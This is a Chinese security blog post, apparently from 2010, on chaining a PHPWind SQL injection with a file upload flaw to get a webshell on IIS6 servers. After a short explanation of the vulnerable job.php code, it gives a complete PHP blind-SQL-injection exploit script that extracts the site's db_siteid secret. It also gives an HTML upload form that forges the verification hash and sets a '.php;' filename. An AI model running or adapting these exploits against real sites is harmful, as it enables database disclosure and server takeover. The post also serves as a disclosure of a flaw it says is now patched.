Phpwind 注入漏洞以及利用之二:文件上传拿shell

发布日期:2010-10.04
发布作者:oldjun

影响版本:phpwind
官方地址:phpwind

漏洞类型:注入、上传漏洞
漏洞描述:上传漏洞现在很难会出现的,更别说强大的pw了,所以很多朋友是不是认为我这个标题唬人了?不过还确实是上传漏洞,不过呢,这个漏洞的利用需要两个条件,所以说其实很鸡肋,但之前还是蛮好用的,只要满足条件,屡试不爽的。好了,先说条件:
1.必须存在注入,可以注入出$db_siteid,因为前面那里发布的注入(以及其他某些地方的注入),可以轻松得到;
2.必须是IIS6,这个是致命的鸡肋点,漏洞利用的是IIS6的文件解析漏洞(其实不用想也知道,无论dz、pw或者其他cms不会有允许上传php之类后缀文件的)。

由于官方已经在我上报不久一起补丁了,所以我相信应该有人已经通过分析补丁知道漏洞在哪儿了,好了,先看代码(文件是job.php,也很可能在其他可上传的文件中):

  1. ...  
  2.  
  3. } elseif ($action == 'uploadicon') {  
  4.  
  5. if (empty($_GET['step'])) {  
  6.  
  7. list($db_upload,$db_imglen,$db_imgwidth,$db_imgsize) = explode("\t",$db_upload);  
  8. InitGP(array('uid','verify'));//可以控制的两个参数  
  9. $swfhash = GetVerify($uid);  
  10. checkVerify('swfhash');//这里很有趣  
  11.  
  12. require_once(R_P . 'lib/upload/faceupload.class.php');  
  13. $face = new FaceUpload($uid);  
  14. PwUpload::upload($face);  
  15. $uploaddb = $face->getAttachs();  
  16.  
  17. echo $db_bbsurl.'/'.$attachpath.'/'.$uploaddb['fileuploadurl'].'?'.$timestamp;exit;  
  18.  
  19. } else {  
  20.  
  21. ...   


先来看看代码中我标注的有趣的地方,看能否绕过checkVerify('swfhash')。找找checkVerify函数:

  1. function checkVerify($hash = 'verifyhash') {  
  2. GetGP('verify') <> $GLOBALS[$hash] && Showmsg('illegal_request');//看参数是啥了  
  3. }  


于是checkVerify('swfhash')其实就是检查$swfhash了,而$swfhash是通过GetVerify函数获得的,于是看看GetVerify函数:

  1. function GetVerify($str,$app = null) {  
  2. empty($app) && $app = $GLOBALS['db_siteid'];//关键就是db_siteid了,而db_siteid可以通过注入获得  
  3. return substr(md5($str.$app.$GLOBALS['pwServer']['HTTP_USER_AGENT']),8,8);  
  4. }  


于是好办了,先通过注入获得db_siteid,然后获取自己的'HTTP_USER_AGENT'(直接构造也行),可以轻松绕过前面的限制,接着就直接看上传类了,$uid可以控制就可以自定义上传文件名了:

  1. <?php 
  2. !defined('P_W') && exit('Forbidden');  
  3.  
  4. require_once(R_P . 'lib/upload.class.php');  
  5.  
  6. class FaceUpload extends uploadBehavior {  
  7.  
  8. var $db;  
  9. var $uid;  
  10. var $attachs;  
  11.  
  12. function FaceUpload($uid) {  
  13. global $db,$db_imgsize;  
  14. parent::uploadBehavior();  
  15. $this->uid = $uid;//这里没有int就悲剧了...  
  16. $this->db =& $db;  
  17. $this->ifftp = 0;  
  18.  
  19. !$db_imgsize && $db_imgsize = 1000;  
  20. $this->ftype = array(  
  21. 'gif' => $db_imgsize, 'jpg' => $db_imgsize,  
  22. 'jpeg' => $db_imgsize, 'bmp' => $db_imgsize,  
  23. 'png' => $db_imgsize  
  24. );  
  25. }  
  26.  
  27. function allowType($key) {  
  28. return true;  
  29. }  
  30.  
  31. function getFilePath($currUpload) {  
  32. $filename = $this->uid . '_tmp.' . $currUpload['ext'];  
  33. $savedir = 'upload/' . str_pad(substr($this->uid,-2),2,'0',STR_PAD_LEFT) . '/';  
  34. return array($filename, $savedir, '', '');  
  35. }  
  36.  
  37. function update($uploaddb) {  
  38. $this->attachs = $uploaddb;  
  39. }  
  40.  
  41. function getAttachs() {  
  42. return current($this->attachs);  
  43. }  
  44. }  
  45. ?>   
  46.  

晚上写文章的时候,发现貌似phpwind今年3月份发布了针对这个漏洞的一个补丁的...但由于phpwind版本比较混乱,所以有的版本存在,有的版本不存在,然后9月6日的新版本已经都补丁上了~

好了,最后想说的是:其实有的时候,注入可以远远超过其本身的应用,哪怕有的时候不能update,哪怕有的时候密码破解不出来...(也许涉及后话)...

附一,上次那个注入漏洞获取db_siteid:

 

<?
print_r('
--------------------------------------------------------------------------------
PHPWind v7.5 "ajax" SQL injection/db_siteid credentials disclosure exploit
BY oldjun(www.oldjun.com)
--------------------------------------------------------------------------------
');

if ($argc<3) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path
host: target server (ip/hostname),without"http://"
path: path to phpwind
Example:
php '.$argv[0].' localhost /
--------------------------------------------------------------------------------
');
die;
}

function getrand($i)
{
for($j=0;$j<=$i-1;$j++)
{
srand((double)microtime()*1000000);
$randname=rand(!$j ? 1: 0,9);
$randnum.=$randname;
}
return $randnum;
}

function sendpacketii($packet)
{
global $host, $html;
$ock=fsockopen(gethostbyname($host),'80');
if (!$ock) {
echo 'No response from '.$host; die;
}
fputs($ock,$packet);
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$prefix="pw_";

//modify cookie and agent
$cookie="e7edf_c_stamp=1284046856; cnzz_a2173231=5; sin2173231=none; rtime=0; ltime=1284047146468; cnzz_eid=78886253-1284032004-; e7edf_lastpos=other; e7edf_cknum=AAsNUQgKAQcABms%2FUVoCAFVWVwsCVggIUgNRU1BQDloCA1IDAwkEVwpcBQc%3D; e7edf_ol_offset=291; e7edf_ipstate=1284032143; e7edf_winduser=AAgGVTFYBQEGBlsPAVpUBAMDCVxQBg5dUFRWVAADBQFTBwUHAjA%3D; e7edf_ck_info=%2F%09; cnzz_user=oldjun; e7edf_lastvisit=22%091284046856%09%2Fpw_ajax.php%3Faction%3Djobpop%26nowtime%3D1284047153125%26verify%3D7abd84b0; e7edf_jobpop=1";
$useragent="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Fuck GFW; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)";

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/'))
{echo 'Error... check the path!'; die;}

/*get $prefix*/
$packet ="GET ".$path."pw_ajax.php?action=pcdelimg&pctype=topic&id=1 HTTP/1.0\r\n";
$packet.="User-Agent: ".$useragent."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("in your SQL syntax",$html))
{
$temp=explode("FROM ",$html);
if(isset($temp[1])){$temp2=explode("topicvalue1",$temp[1]);}
if($temp2[0])
$prefix=$temp2[0];
echo "[+]prefix -> ".$prefix."\n";
echo "[~]exploting now,plz waiting\r\n";
}else{
die("Wrong path or not Login!!!\r\n".$html);
}

/*get db_siteid*/
$chars[0]=0;//null
$chars=array_merge($chars,range(30,39)); //hex-numbers
$chars=array_merge($chars,range(61,66));//hex- a-f letters
$db_siteid="";$str="";$sql="";
while (strlen($db_siteid)<32)
{
for ($i=30; $i<=66; $i++)
{
if (in_array($i,$chars))
{
$sql="0x".$str.$i."25";
$packet ="GET ".$path."pw_ajax.php?action=pcdelimg&fieldname=db_name/**/from/**/".$prefix."config/**/where/**/db_name/**/like/**/0x64625F736974656964/**/and/**/db_value/**/like/**/".$sql."/**/union/**/select/**/0x312E2E31%23&id=1 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: ".$useragent."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
//die($html);
if (!eregi("fail",$html))
{
$str=$str.$i;
$db_siteid.=hex2asc($i);
echo"[+]pwd:".$db_siteid."\r\n";break;}
}
if ($i==66) {die("Exploit failed...");}
}
}
print_r('
--------------------------------------------------------------------------------
[+]db_siteid -> '.$db_siteid.'
--------------------------------------------------------------------------------
');
function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}
if (is_hash($db_siteid)) {echo "Exploit succeeded...";}
else {echo "Exploit failed...";}

function hex2asc($str) {
$str = join('',explode('\x',$str));
$len = strlen($str);
for ($i=0;$i<$len;$i+=2) $data.=chr(hexdec(substr($str,$i,2)));
return $data;
}
function asc2hex($str){
$hex=base_convert($str,10,16);
return strlen($hex)==2?$hex:"0".$hex;
}
?>

 


 

 

附二:利用poc

先利用上面的注入exp获取$db_siteid,再运行:
$verify=substr(md5($uid.$db_siteid.$GLOBALS['pwServer']['HTTP_USER_AGENT']),8,8)获取$verify
替换下面的$verify:

 

<form method="post" action="http://127.0.0.1/pw/job.php?action=uploadicon&verify=537f0b79&uid=1.php;" enctype="multipart/form-data">
file:<input type="file" name="file1" size="80" />
<input type="submit" value="gogogo"/></td>
</form> 



[本日志由 王者星星 于 2010-10-05 12:11 AM 编辑]
文章来自: 黑白前线
引用通告: 查看所有引用 | 我要引用此文章
Tags:
相关日志:
评论: 0 | 引用: 0 | 查看次数: -
发表评论
昵 称:
密 码: 游客发言不需要密码.
内 容:
验证码: 验证码
选 项:
虽然发表评论不用注册,但是为了保护您的发言权,建议您注册帐号.